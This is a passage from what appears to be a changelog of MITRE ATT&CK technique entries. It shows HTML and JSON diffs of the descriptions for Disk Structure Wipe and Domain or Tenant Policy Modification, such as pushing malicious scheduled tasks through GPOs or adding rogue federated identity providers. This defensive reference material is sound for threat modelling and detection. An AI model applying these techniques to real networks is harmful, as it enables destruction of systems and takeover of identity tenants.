class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;boot&nbsp;process,&nbsp;leaving&nbsp;the&nbsp;computer&nbsp;unavailable.&nbsp;[Disk&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;boot&nbsp;process,&nbsp;leaving&nbsp;the&nbsp;computer&nbsp;unavailable.&nbsp;[Disk&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Structure&nbsp;Wipe](https://attack.mitre.org/techniques/T1561/00</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Structure&nbsp;Wipe](https://attack.mitre.org/techniques/T1561/00</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2)&nbsp;may&nbsp;be&nbsp;performed&nbsp;in&nbsp;isolation,&nbsp;or&nbsp;along&nbsp;with&nbsp;[Disk&nbsp;Conten</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2)&nbsp;may&nbsp;be&nbsp;performed&nbsp;in&nbsp;isolation,&nbsp;or&nbsp;along&nbsp;with&nbsp;[Disk&nbsp;Conten</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Wipe](https://attack.mitre.org/techniques/T1561/001)&nbsp;if&nbsp;al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Wipe](https://attack.mitre.org/techniques/T1561/001)&nbsp;if&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;sectors&nbsp;of&nbsp;a&nbsp;disk&nbsp;are&nbsp;wiped.&nbsp;&nbsp;On&nbsp;a&nbsp;network&nbsp;device<span class=\"diff_sub\">s</span>,&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;sectors&nbsp;of&nbsp;a&nbsp;disk&nbsp;are&nbsp;wiped.&nbsp;&nbsp;On&nbsp;a&nbsp;network&nbsp;device,&nbsp;adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;reformat&nbsp;the&nbsp;file&nbsp;system&nbsp;using&nbsp;[Network&nbsp;Device&nbsp;CLI</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;reformat&nbsp;the&nbsp;file&nbsp;system&nbsp;using&nbsp;[Network&nbsp;Device&nbsp;CLI]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1059/008)&nbsp;commands&nbsp;su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1059/008)&nbsp;commands&nbsp;suc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;`format`.(Citation:&nbsp;format_cmd_cisco)&nbsp;&nbsp;To&nbsp;maximize&nbsp;imp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;`format`.(Citation:&nbsp;format_cmd_cisco)&nbsp;&nbsp;To&nbsp;maximize&nbsp;impa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">act&nbsp;on&nbsp;the&nbsp;target&nbsp;organization,&nbsp;malware&nbsp;designed&nbsp;for&nbsp;destroy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;on&nbsp;the&nbsp;target&nbsp;organization,&nbsp;malware&nbsp;designed&nbsp;for&nbsp;destroyi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;disk&nbsp;structures&nbsp;may&nbsp;have&nbsp;worm-like&nbsp;features&nbsp;to&nbsp;propagate</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;disk&nbsp;structures&nbsp;may&nbsp;have&nbsp;worm-like&nbsp;features&nbsp;to&nbsp;propagate&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;across&nbsp;a&nbsp;network&nbsp;by&nbsp;leveraging&nbsp;other&nbsp;techniques&nbsp;like&nbsp;[Valid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">across&nbsp;a&nbsp;network&nbsp;by&nbsp;leveraging&nbsp;other&nbsp;techniques&nbsp;like&nbsp;[Valid&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Accounts](https://attack.mitre.org/techniques/T1078),&nbsp;[OS&nbsp;C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Accounts](https://attack.mitre.org/techniques/T1078),&nbsp;[OS&nbsp;Cr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">redential&nbsp;Dumping](https://attack.mitre.org/techniques/T1003</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">edential&nbsp;Dumping](https://attack.mitre.org/techniques/T1003)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">),&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attack.mitre.org/t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1021/002).(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2012)(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1021/002).(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2012)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoon&nbsp;N</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoon&nbsp;No</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">v&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1053: Data Backup"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0297: Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-03-07 14:10:32.650000+00:00",
                    "modified": "2026-11-04 00:11:54.291000+00:00",
                    "name": "Domain or Tenant Policy Modification",
                    "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trust relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant(Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1484",
                            "external_id": "T1484"
                        },
                        {
                            "source_name": "ADSecurity GPO Persistence 2016",
                            "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                            "url": "https://adsecurity.org/?p=2716"
                        },
                        {
                            "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                            "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
                            "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                        },
                        {
                            "source_name": "Okta Cross-Tenant Impersonation 2023",
                            "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
                            "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
                        },
                        {
                            "source_name": "Wald0 Guide to GPOs",
                            "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                            "url": "https://wald0.com/?p=179"
                        },
                        {
                            "source_name": "Harmj0y Abusing GPO Permissions",
                            "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                            "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Obsidian Security"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "Identity Provider"
                    ],
                    "x_mitre_version": "4.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:11:54.291000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\\n\\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trust relationships between domains or tenants.\\n\\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential malicious outcomes that can stem from this abuse. Examples of such abuse include:  \\n\\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant(Citation: Okta Cross-Tenant Impersonation 2023)\\n\\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\", \"old_value\": \"Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\\n\\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\\n\\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \\n\\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\\n\\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\\n \\n-Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\\n+Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trust relationships between domains or tenants.\\n \\n-With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \\n+With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential malicious outcomes that can stem from this abuse. Examples of such abuse include:  \\n \\n * modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\\n * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\\n * changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\\n-* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\\n+* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant(Citation: Okta Cross-Tenant Impersonation 2023)\\n \\n Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\"}}}",
                    "previous_version": "4.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to157__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to157__0\"><a href=\"#difflib_chg_to157__top\">t</a></td><td class=\"diff_header\" id=\"from157_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;configuration&nbsp;settings&nbsp;of&nbsp;a&nbsp;domai</td><td class=\"diff_next\"><a href=\"#difflib_chg_to157__top\">t</a></td><td class=\"diff_header\" id=\"to157_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;configuration&nbsp;settings&nbsp;of&nbsp;a&nbsp;domai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;or&nbsp;identity&nbsp;tenant&nbsp;to&nbsp;evade&nbsp;defenses&nbsp;and/or&nbsp;escalate&nbsp;privi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;or&nbsp;identity&nbsp;tenant&nbsp;to&nbsp;evade&nbsp;defenses&nbsp;and/or&nbsp;escalate&nbsp;privi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leges&nbsp;in&nbsp;centrally&nbsp;managed&nbsp;environments.&nbsp;Such&nbsp;services&nbsp;provi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leges&nbsp;in&nbsp;centrally&nbsp;managed&nbsp;environments.&nbsp;Such&nbsp;services&nbsp;provi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;a&nbsp;centralized&nbsp;means&nbsp;of&nbsp;managing&nbsp;identity&nbsp;resources&nbsp;such&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;a&nbsp;centralized&nbsp;means&nbsp;of&nbsp;managing&nbsp;identity&nbsp;resources&nbsp;such&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;devices&nbsp;and&nbsp;accounts,&nbsp;and&nbsp;often&nbsp;include&nbsp;configuration&nbsp;sett</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;devices&nbsp;and&nbsp;accounts,&nbsp;and&nbsp;often&nbsp;include&nbsp;configuration&nbsp;sett</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ings&nbsp;that&nbsp;may&nbsp;apply&nbsp;between&nbsp;domains&nbsp;or&nbsp;tenants&nbsp;such&nbsp;as&nbsp;trust</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ings&nbsp;that&nbsp;may&nbsp;apply&nbsp;between&nbsp;domains&nbsp;or&nbsp;tenants&nbsp;such&nbsp;as&nbsp;trust</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;relationships,&nbsp;identity&nbsp;syncing,&nbsp;or&nbsp;identity&nbsp;federation.&nbsp;&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;relationships,&nbsp;identity&nbsp;syncing,&nbsp;or&nbsp;identity&nbsp;federation.&nbsp;&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">odifications&nbsp;to&nbsp;domain&nbsp;or&nbsp;tenant&nbsp;settings&nbsp;may&nbsp;include&nbsp;alteri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">odifications&nbsp;to&nbsp;domain&nbsp;or&nbsp;tenant&nbsp;settings&nbsp;may&nbsp;include&nbsp;alteri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;domain&nbsp;Group&nbsp;Policy&nbsp;Objects&nbsp;(GPOs)&nbsp;in&nbsp;Microsoft&nbsp;Active&nbsp;Di</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;domain&nbsp;Group&nbsp;Policy&nbsp;Objects&nbsp;(GPOs)&nbsp;in&nbsp;Microsoft&nbsp;Active&nbsp;Di</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rectory&nbsp;(AD)&nbsp;or&nbsp;changing&nbsp;trust&nbsp;settings&nbsp;for&nbsp;domains,&nbsp;includi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rectory&nbsp;(AD)&nbsp;or&nbsp;changing&nbsp;trust&nbsp;settings&nbsp;for&nbsp;domains,&nbsp;includi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;federation&nbsp;trust<span class=\"diff_chg\">s&nbsp;relationships</span>&nbsp;between&nbsp;domains&nbsp;or&nbsp;tenant</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;federation&nbsp;trust<span class=\"diff_chg\">&nbsp;relationships</span>&nbsp;between&nbsp;domains&nbsp;or&nbsp;tenants</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;&nbsp;With&nbsp;sufficient&nbsp;permissions,&nbsp;adversaries&nbsp;can&nbsp;modify&nbsp;doma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;&nbsp;With&nbsp;sufficient&nbsp;permissions,&nbsp;adversaries&nbsp;can&nbsp;modify&nbsp;domai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;or&nbsp;tenant&nbsp;policy&nbsp;settings.&nbsp;Since&nbsp;configuration&nbsp;settings&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;or&nbsp;tenant&nbsp;policy&nbsp;settings.&nbsp;Since&nbsp;configuration&nbsp;settings&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;these&nbsp;services&nbsp;apply&nbsp;to&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;identity&nbsp;resour</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;these&nbsp;services&nbsp;apply&nbsp;to&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;identity&nbsp;resourc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ces,&nbsp;there&nbsp;are&nbsp;a&nbsp;great&nbsp;number&nbsp;of&nbsp;potential&nbsp;<span class=\"diff_chg\">attacks&nbsp;malicious</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es,&nbsp;there&nbsp;are&nbsp;a&nbsp;great&nbsp;number&nbsp;of&nbsp;potential&nbsp;<span class=\"diff_chg\">malicious&nbsp;outcomes</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;outcomes&nbsp;that&nbsp;can&nbsp;stem&nbsp;from&nbsp;this</span>&nbsp;abuse.&nbsp;Examples&nbsp;of&nbsp;such&nbsp;ab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;that&nbsp;can&nbsp;stem&nbsp;from&nbsp;this</span>&nbsp;abuse.&nbsp;Examples&nbsp;of&nbsp;such&nbsp;abuse&nbsp;inclu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;include:&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;modifying&nbsp;GPOs&nbsp;to&nbsp;push&nbsp;a&nbsp;malicious&nbsp;[Schedu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de:&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;modifying&nbsp;GPOs&nbsp;to&nbsp;push&nbsp;a&nbsp;malicious&nbsp;[Scheduled&nbsp;Task]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">led&nbsp;Task](https://attack.mitre.org/techniques/T1053/005)&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1053/005)&nbsp;to&nbsp;computers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">computers&nbsp;throughout&nbsp;the&nbsp;domain&nbsp;environment(Citation:&nbsp;ADSecu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;throughout&nbsp;the&nbsp;domain&nbsp;environment(Citation:&nbsp;ADSecurity&nbsp;GPO&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rity&nbsp;GPO&nbsp;Persistence&nbsp;2016)(Citation:&nbsp;Wald0&nbsp;Guide&nbsp;to&nbsp;GPOs)(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Persistence&nbsp;2016)(Citation:&nbsp;Wald0&nbsp;Guide&nbsp;to&nbsp;GPOs)(Citation:&nbsp;H</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Harmj0y&nbsp;Abusing&nbsp;GPO&nbsp;Permissions)&nbsp;*&nbsp;modifying&nbsp;domain&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">armj0y&nbsp;Abusing&nbsp;GPO&nbsp;Permissions)&nbsp;*&nbsp;modifying&nbsp;domain&nbsp;trusts&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trusts&nbsp;to&nbsp;include&nbsp;an&nbsp;adversary-controlled&nbsp;domain,&nbsp;allowing&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;include&nbsp;an&nbsp;adversary-controlled&nbsp;domain,&nbsp;allowing&nbsp;adversarie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversaries&nbsp;to&nbsp;&nbsp;forge&nbsp;access&nbsp;tokens&nbsp;that&nbsp;will&nbsp;subsequently&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;&nbsp;forge&nbsp;access&nbsp;tokens&nbsp;that&nbsp;will&nbsp;subsequently&nbsp;be&nbsp;accepted</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accepted&nbsp;by&nbsp;victim&nbsp;domain&nbsp;resources(Citation:&nbsp;Microsoft&nbsp;-&nbsp;C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;victim&nbsp;domain&nbsp;resources(Citation:&nbsp;Microsoft&nbsp;-&nbsp;Customer&nbsp;G</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ustomer&nbsp;Guidance&nbsp;on&nbsp;Recent&nbsp;Nation-State&nbsp;Cyber&nbsp;Attacks)&nbsp;*&nbsp;cha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uidance&nbsp;on&nbsp;Recent&nbsp;Nation-State&nbsp;Cyber&nbsp;Attacks)&nbsp;*&nbsp;changing&nbsp;con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nging&nbsp;configuration&nbsp;settings&nbsp;within&nbsp;the&nbsp;AD&nbsp;environment&nbsp;to&nbsp;im</td><td 